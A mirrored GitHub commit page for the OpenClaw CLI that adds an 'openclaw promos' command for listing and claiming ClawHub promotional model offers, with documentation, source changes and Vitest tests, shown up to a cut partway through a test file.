mirror of
https://github.com/openclaw/openclaw.git
synced 2026-08-12 21:53:00 -06:00
feat(cli): add openclaw promos to discover and claim ClawHub promotional model offers (#100236)
* feat: add openclaw promos CLI for ClawHub promotional model offers * fix: harden promos claim auth validation and sanitize remote promo text * fix: enforce promo window client-side and validate slug contract * fix: shell-safe model ref contract and explicit --api-key override * fix: hold promotion aliases to the models alias contract * docs: document argv-credential contract and env alternative for promos claim * fix: enforce provider plugin enablement on the credential-reuse claim path * fix: require plugin install before credential-reuse shortcut in promos claim * fix: run runtime plugin repair on promo defaults and harden identifier parsing * fix: distinct message for contract-invalid promo aliases * fix(cli): validate promotion plugin contracts * fix(cli): recheck promotion window before claim * feat(cli): surface ClawHub promotions in models list via the hosted feed Passive discovery for promotional model offers. A cadence-gated (24h), fail-silent conditional GET of ClawHub's immutable promotions feed snapshot (If-None-Match -> 304, short 2.5s timeout, unauthenticated so CDN caches stay unfragmented) is cached in two new shared-state-DB tables, fully separate from update_check_state. models list renders an 'Available via promotion' group for live offers whose models are not in the user's configured set (including the zero-row fresh-install path), tags claimed models promo / promo ended from provenance recorded at claim time, and prints a one-time notice per newly seen offer; promos list and claim mark offers as seen. Machine outputs stay clean, snapshot sequence is monotonic against stale edges, and claims still revalidate against the live API so the kill switch always wins. * style: satisfy lint on promotions feed additions no-useless-fallback-in-spread on the optional request headers and no-map-spread in claim-provenance row mapping. * fix(cli): harden promotions feed cache * fix(cli): honor live promotion validity
This commit is contained in:
+4
-1
@@ -26,7 +26,7 @@ Setup commands by intent:
|
||||
| Messaging and agents | [`message`](/cli/message) · [`agent`](/cli/agent) · [`agents`](/cli/agents) · [`attach`](/cli/attach) · [`acp`](/cli/acp) · [`mcp`](/cli/mcp) |
|
||||
| Health and sessions | [`status`](/cli/status) · [`health`](/cli/health) · [`sessions`](/cli/sessions) · [`audit`](/cli/audit) |
|
||||
| Gateway and logs | [`gateway`](/cli/gateway) · [`logs`](/cli/logs) · [`system`](/cli/system) |
|
||||
| Models and inference | [`models`](/cli/models) · [`infer`](/cli/infer) · `capability` (alias for [`infer`](/cli/infer)) · [`memory`](/cli/memory) · [`commitments`](/cli/commitments) · [`wiki`](/cli/wiki) |
|
||||
| Models and inference | [`models`](/cli/models) · [`promos`](/cli/promos) · [`infer`](/cli/infer) · `capability` (alias for [`infer`](/cli/infer)) · [`memory`](/cli/memory) · [`commitments`](/cli/commitments) · [`wiki`](/cli/wiki) |
|
||||
| Network and nodes | [`directory`](/cli/directory) · [`nodes`](/cli/nodes) · [`devices`](/cli/devices) · [`node`](/cli/node) |
|
||||
| Runtime and sandbox | [`approvals`](/cli/approvals) · `exec-policy` (see [`approvals`](/cli/approvals)) · [`sandbox`](/cli/sandbox) · [`tui`](/cli/tui) · `chat`/`terminal` (aliases for [`tui --local`](/cli/tui)) · [`browser`](/cli/browser) |
|
||||
| Automation | [`cron`](/cli/cron) · [`tasks`](/cli/tasks) · [`hooks`](/cli/hooks) · [`webhooks`](/cli/webhooks) · [`transcripts`](/cli/transcripts) |
|
||||
@@ -285,6 +285,9 @@ openclaw [--dev] [--profile <name>] <command>
|
||||
scan
|
||||
auth list|add|login|setup-token|paste-token|paste-api-key|login-github-copilot
|
||||
auth order get|set|clear
|
||||
promos
|
||||
list
|
||||
claim <slug>
|
||||
infer (alias: capability)
|
||||
list
|
||||
inspect
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
---
|
||||
summary: "CLI reference for `openclaw promos` (list and claim promotional model offers)"
|
||||
read_when:
|
||||
- You want to try a free promotional model offer from ClawHub
|
||||
- You are configuring a provider through a promotion instead of onboarding
|
||||
title: "Promos"
|
||||
---
|
||||
|
||||
# `openclaw promos`
|
||||
|
||||
Discover and claim promotional model offers published on ClawHub. Claiming a
|
||||
promotion configures the provider (auth and plugin, when needed) and registers
|
||||
the promotion's models — without re-running onboarding and without changing
|
||||
your default model unless you say so.
|
||||
|
||||
Related:
|
||||
|
||||
- Default model and fallbacks: [Models](/cli/models)
|
||||
- Provider auth setup: [Getting started](/start/getting-started)
|
||||
|
||||
## Commands
|
||||
|
||||
```bash
|
||||
openclaw promos list
|
||||
openclaw promos claim <slug>
|
||||
openclaw promos claim <slug> --api-key <key> --set-default
|
||||
```
|
||||
|
||||
## `openclaw promos list`
|
||||
|
||||
Lists promotions that are currently live, with their models, the suggested
|
||||
default, time remaining, and the exact claim command. `--json` prints the raw
|
||||
payload.
|
||||
|
||||
## `openclaw promos claim <slug>`
|
||||
|
||||
Claims a live promotion:
|
||||
|
||||
1. Fetches the promotion from ClawHub and verifies it is inside its window.
|
||||
2. Validates the promotion's provider, auth choice, and declared plugin packages
|
||||
against your installed OpenClaw version. Unknown ids or package mismatches are
|
||||
refused — a promotion can never make the CLI run anything it does not already
|
||||
know how to do.
|
||||
3. Reuses your existing provider credentials when you have them. Otherwise it
|
||||
walks the provider's normal auth flow (printing the promotion's signup URL
|
||||
for a free key first). `--api-key <key>` completes API-key auth without
|
||||
prompts, matching the `openclaw onboard` non-interactive flags; to keep the
|
||||
key off the command line, export the provider's environment variable
|
||||
instead (for example `OPENROUTER_API_KEY`) — existing env credentials are
|
||||
detected automatically and no flag is needed.
|
||||
4. Registers the promotion's models with their aliases. Existing aliases are
|
||||
never overwritten.
|
||||
5. Offers to set the promotion's suggested model as your default —
|
||||
`--set-default` skips the question; otherwise nothing about your defaults
|
||||
changes.
|
||||
|
||||
When the promotion's window ends, the provider stops serving the free models;
|
||||
your configuration and credentials are untouched. Switch back anytime with
|
||||
`openclaw models set <model>`.
|
||||
|
||||
## Passive discovery in `models list`
|
||||
|
||||
`openclaw models list` also surfaces promotions without you asking ClawHub
|
||||
directly:
|
||||
|
||||
- Live offers whose models you have not configured appear in an
|
||||
"Available via promotion" group below the table, each with its claim
|
||||
command.
|
||||
- Models you registered through `promos claim` carry a `promo` tag, which
|
||||
flips to `promo ended` once the offer's window passes.
|
||||
- The first time a new offer is seen, a one-time notice points at
|
||||
`openclaw promos list`. Offers you have already listed or claimed are never
|
||||
announced again.
|
||||
|
||||
This reads a locally cached copy of ClawHub's hosted promotions feed
|
||||
(normally refreshed once a day with a conditional request, or earlier when the
|
||||
cached snapshot expires; refresh failures are silently skipped). A stale
|
||||
refresh waits at most 2.5 seconds and never breaks the listing. `--json` and
|
||||
`--plain` output stay machine-clean: no promotion sections or notices.
|
||||
Claiming always revalidates against the live ClawHub API, so an offer withdrawn
|
||||
early is refused even while a cached copy still shows it.
|
||||
@@ -1754,6 +1754,7 @@
|
||||
"cli/commitments",
|
||||
"cli/message",
|
||||
"cli/models",
|
||||
"cli/promos",
|
||||
"cli/sessions",
|
||||
"cli/system",
|
||||
"cli/tasks"
|
||||
|
||||
@@ -1828,6 +1828,16 @@ Do not edit it by hand; run `pnpm docs:map:gen`.
|
||||
- H2: Exit codes
|
||||
- H2: Related
|
||||
|
||||
## cli/promos.md
|
||||
|
||||
- Route: /cli/promos
|
||||
- Headings:
|
||||
- H1: openclaw promos
|
||||
- H2: Commands
|
||||
- H2: openclaw promos list
|
||||
- H2: openclaw promos claim <slug>
|
||||
- H2: Passive discovery in models list
|
||||
|
||||
## cli/proxy.md
|
||||
|
||||
- Route: /cli/proxy
|
||||
|
||||
@@ -121,6 +121,11 @@ const entrySpecs: readonly CommandGroupDescriptorSpec<SubCliRegistrar>[] = [
|
||||
loadModule: () => import("../models-cli.js"),
|
||||
exportName: "registerModelsCli",
|
||||
},
|
||||
{
|
||||
commandNames: ["promos"],
|
||||
loadModule: () => import("../promos-cli.js"),
|
||||
exportName: "registerPromosCli",
|
||||
},
|
||||
{
|
||||
commandNames: ["infer", "capability"],
|
||||
loadModule: () => import("../capability-cli.js"),
|
||||
|
||||
@@ -29,6 +29,11 @@ const subCliCommandCatalog = defineCommandDescriptorCatalog([
|
||||
description: "Model discovery, scanning, and configuration",
|
||||
hasSubcommands: true,
|
||||
},
|
||||
{
|
||||
name: "promos",
|
||||
description: "Discover and claim promotional model offers from ClawHub",
|
||||
hasSubcommands: true,
|
||||
},
|
||||
{
|
||||
name: "infer",
|
||||
description: "Run provider-backed inference commands through a stable CLI surface",
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
/** CLI registration for ClawHub promotional model offers. */
|
||||
import type { Command } from "commander";
|
||||
import { formatDocsLink } from "../../packages/terminal-core/src/links.js";
|
||||
import { theme } from "../../packages/terminal-core/src/theme.js";
|
||||
import { defaultRuntime } from "../runtime.js";
|
||||
import { runCommandWithRuntime } from "./cli-utils.js";
|
||||
|
||||
export function registerPromosCli(program: Command) {
|
||||
const promos = program
|
||||
.command("promos")
|
||||
.description("Discover and claim promotional model offers from ClawHub")
|
||||
.addHelpText(
|
||||
"after",
|
||||
() =>
|
||||
`\n${theme.muted("Docs:")} ${formatDocsLink("/cli/promos", "docs.openclaw.ai/cli/promos")}\n`,
|
||||
);
|
||||
|
||||
promos
|
||||
.command("list")
|
||||
.description("List active promotions")
|
||||
.option("--json", "Output JSON", false)
|
||||
.action(async (opts: { json?: boolean }) => {
|
||||
await runCommandWithRuntime(defaultRuntime, async () => {
|
||||
const { promosListCommand } = await import("../commands/promos/list.js");
|
||||
await promosListCommand(opts, defaultRuntime);
|
||||
});
|
||||
});
|
||||
|
||||
promos
|
||||
.command("claim")
|
||||
.description("Claim a promotion: set up provider auth and register its models")
|
||||
.argument("<slug>", "Promotion slug from `openclaw promos list`")
|
||||
// Credential-on-argv matches the shipped `onboard --<provider>-api-key` /
|
||||
// `onboard --token` non-interactive contract (AGENTS.md: public API). The
|
||||
// no-argv alternative is the provider's env var, detected as existing auth.
|
||||
.option("--api-key <key>", "Provider API key for non-interactive setup")
|
||||
.option("--set-default", "Set the promotion's suggested model as default without asking", false)
|
||||
.action(async (slug: string, opts: { apiKey?: string; setDefault?: boolean }) => {
|
||||
await runCommandWithRuntime(defaultRuntime, async () => {
|
||||
const { promosClaimCommand } = await import("../commands/promos/claim.js");
|
||||
await promosClaimCommand(slug, opts, defaultRuntime);
|
||||
});
|
||||
});
|
||||
}
|
||||
@@ -18,10 +18,14 @@ import { DEFAULT_PROVIDER, ensureFlagCompatibility } from "./shared.js";
|
||||
|
||||
const DISPLAY_MODEL_PARSE_OPTIONS = { allowPluginNormalization: false } as const;
|
||||
|
||||
type PromotionsModule = typeof import("./list.promotions.js");
|
||||
type RegistryLoadModule = typeof import("./list.registry-load.js");
|
||||
type RowSourcesModule = typeof import("./list.row-sources.js");
|
||||
type SourcePlanModule = typeof import("./list.source-plan.js");
|
||||
|
||||
const promotionsModuleLoader = createLazyImportLoader<PromotionsModule>(
|
||||
() => import("./list.promotions.js"),
|
||||
);
|
||||
const registryLoadModuleLoader = createLazyImportLoader<RegistryLoadModule>(
|
||||
() => import("./list.registry-load.js"),
|
||||
);
|
||||
@@ -243,12 +247,33 @@ export async function modelsListCommand(
|
||||
);
|
||||
}
|
||||
|
||||
// Promotion decorations are best-effort: claim tags come from local
|
||||
// provenance, and the discovery section reads a cadence-gated feed cache.
|
||||
// Neither may break the core listing; stale refreshes have a short timeout.
|
||||
const promotionsModule = await promotionsModuleLoader.load();
|
||||
try {
|
||||
promotionsModule.applyPromotionClaimTags(rows);
|
||||
} catch {
|
||||
// Tags are annotation-only.
|
||||
}
|
||||
if (rows.length === 0) {
|
||||
runtime.log("No models found.");
|
||||
requestExitAfterOneShotOutput(runtime);
|
||||
return;
|
||||
} else {
|
||||
printModelTable(rows, runtime, opts);
|
||||
}
|
||||
if (!opts.json && !opts.plain) {
|
||||
// Runs on the empty listing too: a fresh install with zero configured
|
||||
// models is exactly the user passive discovery is for. Compares against
|
||||
// the configured entries, not the rendered rows — filtered and --all
|
||||
// listings show a different set.
|
||||
try {
|
||||
await promotionsModule.printAvailablePromotionsSection({
|
||||
configuredKeys: new Set(entries.map((entry) => entry.key)),
|
||||
runtime,
|
||||
});
|
||||
} catch {
|
||||
// Passive discovery must never fail the listing.
|
||||
}
|
||||
}
|
||||
|
||||
printModelTable(rows, runtime, opts);
|
||||
requestExitAfterOneShotOutput(runtime);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,171 @@
|
||||
// Covers `models list` promotion decorations: claim tags and the passive
|
||||
// discovery section fed by the cached promotions feed.
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { maybeRefreshPromotionsFeed, recordPromotionClaim } from "../../infra/promotions-feed.js";
|
||||
import type { RuntimeEnv } from "../../runtime.js";
|
||||
import { closeOpenClawStateDatabaseForTest } from "../../state/openclaw-state-db.js";
|
||||
import {
|
||||
createOpenClawTestState,
|
||||
type OpenClawTestState,
|
||||
} from "../../test-utils/openclaw-test-state.js";
|
||||
import { applyPromotionClaimTags, printAvailablePromotionsSection } from "./list.promotions.js";
|
||||
import type { ModelRow } from "./list.types.js";
|
||||
|
||||
const NOW = Date.parse("2026-07-05T12:00:00.000Z");
|
||||
|
||||
function makeRow(key: string): ModelRow {
|
||||
return {
|
||||
key,
|
||||
name: key,
|
||||
input: "text",
|
||||
contextWindow: null,
|
||||
local: null,
|
||||
available: true,
|
||||
tags: [],
|
||||
missing: false,
|
||||
};
|
||||
}
|
||||
|
||||
function makeRuntime() {
|
||||
const lines: string[] = [];
|
||||
const runtime = {
|
||||
log: vi.fn((line: string) => {
|
||||
lines.push(line);
|
||||
}),
|
||||
error: vi.fn(),
|
||||
} as unknown as RuntimeEnv;
|
||||
return { runtime, lines };
|
||||
}
|
||||
|
||||
function feedPayload(entries: unknown[]) {
|
||||
return {
|
||||
schemaVersion: 1,
|
||||
id: "clawhub-promotions",
|
||||
generatedAt: "2026-07-05T00:00:00.000Z",
|
||||
sequence: 1,
|
||||
expiresAt: "2026-07-06T00:00:00.000Z",
|
||||
entries,
|
||||
};
|
||||
}
|
||||
|
||||
const liveEntry = {
|
||||
type: "promotion",
|
||||
slug: "example-models-launch",
|
||||
title: "Free Example models",
|
||||
blurb: "Limited-time offer.",
|
||||
startsAt: NOW - 86_400_000,
|
||||
endsAt: NOW + 86_400_000,
|
||||
provider: "example-provider",
|
||||
models: [{ modelRef: "example-provider/example/model-alpha", alias: "model-alpha" }],
|
||||
};
|
||||
|
||||
async function seedFeedCache(entries: unknown[]) {
|
||||
const fetchImpl = vi.fn(
|
||||
async () =>
|
||||
new Response(JSON.stringify(feedPayload(entries)), {
|
||||
status: 200,
|
||||
headers: { "content-type": "application/json" },
|
||||
}),
|
||||
);
|
||||
await maybeRefreshPromotionsFeed({ nowMs: NOW, force: true, fetchImpl });
|
||||
}
|
||||
|
||||
describe("models list promotion decorations", () => {
|
||||
let testState: OpenClawTestState;
|
||||
|
||||
beforeEach(async () => {
|
||||
testState = await createOpenClawTestState({
|
||||
layout: "state-only",
|
||||
prefix: "openclaw-list-promotions-",
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
closeOpenClawStateDatabaseForTest();
|
||||
await testState.cleanup();
|
||||
});
|
||||
|
||||
it("tags claimed promo models and flips to ended past the window", () => {
|
||||
recordPromotionClaim({
|
||||
slug: "example-models-launch",
|
||||
provider: "example-provider",
|
||||
modelKeys: ["example-provider/example/model-alpha"],
|
||||
endsAtMs: NOW + 86_400_000,
|
||||
claimedAtMs: NOW,
|
||||
});
|
||||
recordPromotionClaim({
|
||||
slug: "old-offer",
|
||||
provider: "example-provider",
|
||||
modelKeys: ["example-provider/example/model-old"],
|
||||
endsAtMs: NOW - 1,
|
||||
claimedAtMs: NOW - 86_400_000,
|
||||
});
|
||||
const rows = [
|
||||
makeRow("example-provider/example/model-alpha"),
|
||||
makeRow("example-provider/example/model-old"),
|
||||
makeRow("unrelated/model"),
|
||||
];
|
||||
applyPromotionClaimTags(rows, NOW);
|
||||
expect(rows[0]?.tags).toContain("promo");
|
||||
expect(rows[1]?.tags).toContain("promo ended");
|
||||
expect(rows[2]?.tags).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("prints the available-via-promotion section for unconfigured models", async () => {
|
||||
await seedFeedCache([liveEntry]);
|
||||
const { runtime, lines } = makeRuntime();
|
||||
await printAvailablePromotionsSection({
|
||||
configuredKeys: new Set(["other/model"]),
|
||||
runtime,
|
||||
nowMs: NOW,
|
||||
});
|
||||
const text = lines.join("\n");
|
||||
expect(text).toContain("Available via promotion:");
|
||||
expect(text).toContain("Free Example models");
|
||||
expect(text).toContain("example-provider/example/model-alpha");
|
||||
expect(text).toContain("openclaw promos claim example-models-launch");
|
||||
expect(text).toContain("New promotional model offers");
|
||||
});
|
||||
|
||||
it("suppresses the section once the promo models are configured and notices once", async () => {
|
||||
await seedFeedCache([liveEntry]);
|
||||
const configured = new Set(["example-provider/example/model-alpha"]);
|
||||
const first = makeRuntime();
|
||||
await printAvailablePromotionsSection({
|
||||
configuredKeys: configured,
|
||||
runtime: first.runtime,
|
||||
nowMs: NOW,
|
||||
});
|
||||
const firstText = first.lines.join("\n");
|
||||
expect(firstText).not.toContain("Available via promotion:");
|
||||
// Still announces a never-seen offer once, then never again.
|
||||
expect(firstText).toContain("New promotional model offers");
|
||||
const second = makeRuntime();
|
||||
await printAvailablePromotionsSection({
|
||||
configuredKeys: configured,
|
||||
runtime: second.runtime,
|
||||
nowMs: NOW,
|
||||
});
|
||||
expect(second.lines.join("\n")).toBe("");
|
||||
});
|
||||
|
||||
it("renders the section for an empty model list (fresh install)", async () => {
|
||||
await seedFeedCache([liveEntry]);
|
||||
const { runtime, lines } = makeRuntime();
|
||||
await printAvailablePromotionsSection({ configuredKeys: new Set(), runtime, nowMs: NOW });
|
||||
const text = lines.join("\n");
|
||||
expect(text).toContain("Available via promotion:");
|
||||
expect(text).toContain("openclaw promos claim example-models-launch");
|
||||
});
|
||||
|
||||
it("stays silent when the cached window has passed", async () => {
|
||||
await seedFeedCache([{ ...liveEntry, startsAt: NOW - 2 * 86_400_000, endsAt: NOW - 1 }]);
|
||||
const { runtime, lines } = makeRuntime();
|
||||
await printAvailablePromotionsSection({
|
||||
configuredKeys: new Set(["other/model"]),
|
||||
runtime,
|
||||
nowMs: NOW,
|
||||
});
|
||||
expect(lines.join("\n")).toBe("");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,111 @@
|
||||
/** Promotion decorations for `models list`: claim tags + passive discovery. */
|
||||
import { sanitizeTerminalText } from "../../../packages/terminal-core/src/safe-text.js";
|
||||
import { modelKey } from "../../agents/model-selection-normalize.js";
|
||||
import { formatCliCommand } from "../../cli/command-format.js";
|
||||
import type { ClawHubPromotionsFeedEntry } from "../../infra/clawhub.js";
|
||||
import {
|
||||
listLivePromotionEntries,
|
||||
markPromotionSlugsNotified,
|
||||
maybeRefreshPromotionsFeed,
|
||||
readPromotionClaims,
|
||||
} from "../../infra/promotions-feed.js";
|
||||
import type { RuntimeEnv } from "../../runtime.js";
|
||||
import type { ModelRow } from "./list.types.js";
|
||||
|
||||
const PROMOTIONS_SECTION_MAX_ENTRIES = 3;
|
||||
|
||||
/**
|
||||
* Tag configured rows that were registered by `promos claim`, flipping to
|
||||
* "promo ended" once the window passes so users learn why a model stopped
|
||||
* serving. Reads only local provenance; never the network.
|
||||
*/
|
||||
export function applyPromotionClaimTags(rows: ModelRow[], nowMs = Date.now()): void {
|
||||
const claims = readPromotionClaims();
|
||||
if (claims.length === 0) {
|
||||
return;
|
||||
}
|
||||
const endsByKey = new Map<string, number>();
|
||||
for (const claim of claims) {
|
||||
for (const key of claim.modelKeys) {
|
||||
const prev = endsByKey.get(key);
|
||||
if (prev === undefined || claim.endsAtMs > prev) {
|
||||
endsByKey.set(key, claim.endsAtMs);
|
||||
}
|
||||
}
|
||||
}
|
||||
for (const row of rows) {
|
||||
const endsAtMs = endsByKey.get(row.key);
|
||||
if (endsAtMs === undefined) {
|
||||
continue;
|
||||
}
|
||||
row.tags.push(endsAtMs < nowMs ? "promo ended" : "promo");
|
||||
}
|
||||
}
|
||||
|
||||
function canonicalPromotionModelKey(
|
||||
entry: ClawHubPromotionsFeedEntry,
|
||||
modelRef: string,
|
||||
): string | undefined {
|
||||
const provider = entry.provider?.trim();
|
||||
const prefix = provider ? `${provider}/` : "";
|
||||
if (!provider || !modelRef.startsWith(prefix) || modelRef.length <= prefix.length) {
|
||||
return undefined;
|
||||
}
|
||||
return modelKey(provider, modelRef.slice(prefix.length));
|
||||
}
|
||||
|
||||
/**
|
||||
* Passive discovery: cadence-gated feed refresh (fail-silent), an
|
||||
* "Available via promotion" group for live offers whose models are not
|
||||
* configured yet, and a one-time notice per newly seen offer. Callers gate
|
||||
* machine outputs (`--json`/`--plain`) — this only ever writes human text.
|
||||
* `configuredKeys` must be the user's configured model set, not the
|
||||
* rendered rows — filtered or `--all` listings show a different set.
|
||||
*/
|
||||
export async function printAvailablePromotionsSection(params: {
|
||||
configuredKeys: ReadonlySet<string>;
|
||||
runtime: RuntimeEnv;
|
||||
nowMs?: number;
|
||||
}): Promise<void> {
|
||||
const nowMs = params.nowMs ?? Date.now();
|
||||
const state = await maybeRefreshPromotionsFeed({ nowMs });
|
||||
const live = listLivePromotionEntries(state, nowMs);
|
||||
if (live.length === 0) {
|
||||
return;
|
||||
}
|
||||
const unclaimed = live.filter((entry) =>
|
||||
entry.models.some((model) => {
|
||||
const key = canonicalPromotionModelKey(entry, model.modelRef);
|
||||
return key !== undefined && !params.configuredKeys.has(key);
|
||||
}),
|
||||
);
|
||||
const { runtime } = params;
|
||||
const safe = sanitizeTerminalText;
|
||||
if (unclaimed.length > 0) {
|
||||
runtime.log("");
|
||||
runtime.log("Available via promotion:");
|
||||
for (const entry of unclaimed.slice(0, PROMOTIONS_SECTION_MAX_ENTRIES)) {
|
||||
const sponsor = entry.sponsor ? ` — ${safe(entry.sponsor)}` : "";
|
||||
runtime.log(
|
||||
` ${safe(entry.title)}${sponsor} (ends ${new Date(entry.endsAt).toLocaleDateString()})`,
|
||||
);
|
||||
for (const model of entry.models) {
|
||||
const alias = model.alias ? ` (${safe(model.alias)})` : "";
|
||||
runtime.log(` · ${safe(model.modelRef)}${alias}`);
|
||||
}
|
||||
runtime.log(` Claim: ${formatCliCommand(`openclaw promos claim ${safe(entry.slug)}`)}`);
|
||||
}
|
||||
if (unclaimed.length > PROMOTIONS_SECTION_MAX_ENTRIES) {
|
||||
const more = unclaimed.length - PROMOTIONS_SECTION_MAX_ENTRIES;
|
||||
runtime.log(` …and ${more} more: ${formatCliCommand("openclaw promos list")}`);
|
||||
}
|
||||
}
|
||||
const unseen = live.filter((entry) => !state.notifiedSlugs.has(entry.slug));
|
||||
if (unseen.length > 0) {
|
||||
runtime.log("");
|
||||
runtime.log(
|
||||
`🎁 New promotional model offers available — ${formatCliCommand("openclaw promos list")} for details.`,
|
||||
);
|
||||
markPromotionSlugsNotified(unseen.map((entry) => entry.slug));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,465 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import type { RuntimeEnv } from "../../runtime.js";
|
||||
|
||||
const mocks = vi.hoisted(() => ({
|
||||
fetchClawHubPromotion: vi.fn(),
|
||||
hasAvailableAuthForProvider: vi.fn(),
|
||||
applyAuthChoiceLoadedPluginProvider: vi.fn(),
|
||||
resolveManifestProviderAuthChoice: vi.fn(),
|
||||
resolveProviderInstallCatalogEntry: vi.fn(),
|
||||
loadManifestMetadataSnapshot: vi.fn(),
|
||||
readConfigFileSnapshot: vi.fn(),
|
||||
replaceConfigFile: vi.fn(),
|
||||
promptYesNo: vi.fn(),
|
||||
enablePluginInConfig: vi.fn(),
|
||||
repairCodex: vi.fn(),
|
||||
repairCopilot: vi.fn(),
|
||||
recordPromotionClaim: vi.fn(),
|
||||
markPromotionSlugsNotified: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("../../infra/promotions-feed.js", () => ({
|
||||
recordPromotionClaim: mocks.recordPromotionClaim,
|
||||
markPromotionSlugsNotified: mocks.markPromotionSlugsNotified,
|
||||
}));
|
||||
|
||||
vi.mock("../../infra/clawhub.js", async () => {
|
||||
const actual =
|
||||
await vi.importActual<typeof import("../../infra/clawhub.js")>("../../infra/clawhub.js");
|
||||
return {
|
||||
...actual,
|
||||
fetchClawHubPromotion: mocks.fetchClawHubPromotion,
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock("../../agents/model-auth.js", () => ({
|
||||
hasAvailableAuthForProvider: mocks.hasAvailableAuthForProvider,
|
||||
}));
|
||||
|
||||
vi.mock("../../plugins/provider-auth-choice.js", () => ({
|
||||
applyAuthChoiceLoadedPluginProvider: mocks.applyAuthChoiceLoadedPluginProvider,
|
||||
}));
|
||||
|
||||
vi.mock("../../plugins/provider-auth-choices.js", () => ({
|
||||
resolveManifestProviderAuthChoice: mocks.resolveManifestProviderAuthChoice,
|
||||
}));
|
||||
|
||||
vi.mock("../../plugins/provider-install-catalog.js", () => ({
|
||||
resolveProviderInstallCatalogEntry: mocks.resolveProviderInstallCatalogEntry,
|
||||
}));
|
||||
|
||||
vi.mock("../../plugins/manifest-contract-eligibility.js", () => ({
|
||||
loadManifestMetadataSnapshot: mocks.loadManifestMetadataSnapshot,
|
||||
}));
|
||||
|
||||
vi.mock("../../config/config.js", async () => {
|
||||
const actual =
|
||||
await vi.importActual<typeof import("../../config/config.js")>("../../config/config.js");
|
||||
return {
|
||||
...actual,
|
||||
readConfigFileSnapshot: mocks.readConfigFileSnapshot,
|
||||
replaceConfigFile: mocks.replaceConfigFile,
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock("../../cli/prompt.js", () => ({
|
||||
promptYesNo: mocks.promptYesNo,
|
||||
}));
|
||||
|
||||
vi.mock("../../plugins/enable.js", () => ({
|
||||
enablePluginInConfig: mocks.enablePluginInConfig,
|
||||
}));
|
||||
|
||||
vi.mock("../codex-runtime-plugin-install.js", () => ({
|
||||
repairCodexRuntimePluginInstallForModelSelection: mocks.repairCodex,
|
||||
}));
|
||||
|
||||
vi.mock("../copilot-runtime-plugin-install.js", () => ({
|
||||
repairCopilotRuntimePluginInstallForModelSelection: mocks.repairCopilot,
|
||||
}));
|
||||
|
||||
vi.mock("../../wizard/clack-prompter.js", () => ({
|
||||
createClackPrompter: vi.fn(() => ({})),
|
||||
}));
|
||||
|
||||
const { ClawHubRequestError } = await import("../../infra/clawhub.js");
|
||||
const { promosClaimCommand } = await import("./claim.js");
|
||||
|
||||
function makeRuntime(): RuntimeEnv {
|
||||
return { log: vi.fn(), error: vi.fn(), exit: vi.fn() } as unknown as RuntimeEnv;
|
||||
}
|
||||
|
||||
const now = Date.now();
|
||||
|
||||
function makePromotion(overrides: Record<string, unknown> = {}) {
|
||||
return {
|
||||
slug: "spring-models",
|
||||
title: "Free Example models",
|
||||
blurb: "A limited-time offer.",
|
||||
status: "active",
|
||||
active: true,
|
||||
startsAt: now - 1_000,
|
||||
endsAt: now + 86_400_000,
|
||||
provider: "openrouter",
|
||||
authChoiceId: "openrouter-api-key",
|
||||
models: [
|
||||
{ modelRef: "openrouter/example/model-alpha", alias: "model-alpha", suggestedDefault: true },
|
||||
],
|
||||
signupUrl: "https://signup.example.com",
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function makeSnapshot(config: Record<string, unknown> = {}) {
|
||||
return {
|
||||
valid: true,
|
||||
path: "/tmp/openclaw.json",
|
||||
hash: "hash-1",
|
||||
issues: [],
|
||||
config,
|
||||
sourceConfig: config,
|
||||
runtimeConfig: config,
|
||||
};
|
||||
}
|
||||
|
||||
const authChoice = {
|
||||
pluginId: "openrouter",
|
||||
providerId: "openrouter",
|
||||
methodId: "api-key",
|
||||
choiceId: "openrouter-api-key",
|
||||
choiceLabel: "OpenRouter API key",
|
||||
optionKey: "openrouterApiKey",
|
||||
};
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mocks.readConfigFileSnapshot.mockResolvedValue(makeSnapshot());
|
||||
mocks.replaceConfigFile.mockResolvedValue(undefined);
|
||||
mocks.hasAvailableAuthForProvider.mockResolvedValue(true);
|
||||
mocks.resolveManifestProviderAuthChoice.mockReturnValue(authChoice);
|
||||
mocks.resolveProviderInstallCatalogEntry.mockReturnValue(undefined);
|
||||
mocks.loadManifestMetadataSnapshot.mockReturnValue({
|
||||
manifestRegistry: {
|
||||
plugins: [{ id: "openrouter", packageName: "@openclaw/openrouter-provider" }],
|
||||
},
|
||||
});
|
||||
mocks.promptYesNo.mockResolvedValue(false);
|
||||
mocks.enablePluginInConfig.mockImplementation((cfg: unknown, pluginId: string) => ({
|
||||
config: cfg,
|
||||
enabled: true,
|
||||
pluginId,
|
||||
}));
|
||||
mocks.fetchClawHubPromotion.mockResolvedValue(makePromotion());
|
||||
mocks.repairCodex.mockResolvedValue({ warnings: [] });
|
||||
mocks.repairCopilot.mockResolvedValue({ warnings: [] });
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
describe("promosClaimCommand", () => {
|
||||
it("registers promo models with aliases without changing the default", async () => {
|
||||
const runtime = makeRuntime();
|
||||
await promosClaimCommand("spring-models", {}, runtime);
|
||||
|
||||
expect(mocks.replaceConfigFile).toHaveBeenCalledTimes(1);
|
||||
const next = mocks.replaceConfigFile.mock.calls[0]?.[0]?.nextConfig;
|
||||
expect(next.agents.defaults.models["openrouter/example/model-alpha"]).toEqual({
|
||||
alias: "model-alpha",
|
||||
});
|
||||
expect(next.agents.defaults.model).toBeUndefined();
|
||||
expect(mocks.applyAuthChoiceLoadedPluginProvider).not.toHaveBeenCalled();
|
||||
// Provenance powers the `promo` tags in `models list` and future cleanup.
|
||||
expect(mocks.recordPromotionClaim).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
slug: "spring-models",
|
||||
provider: "openrouter",
|
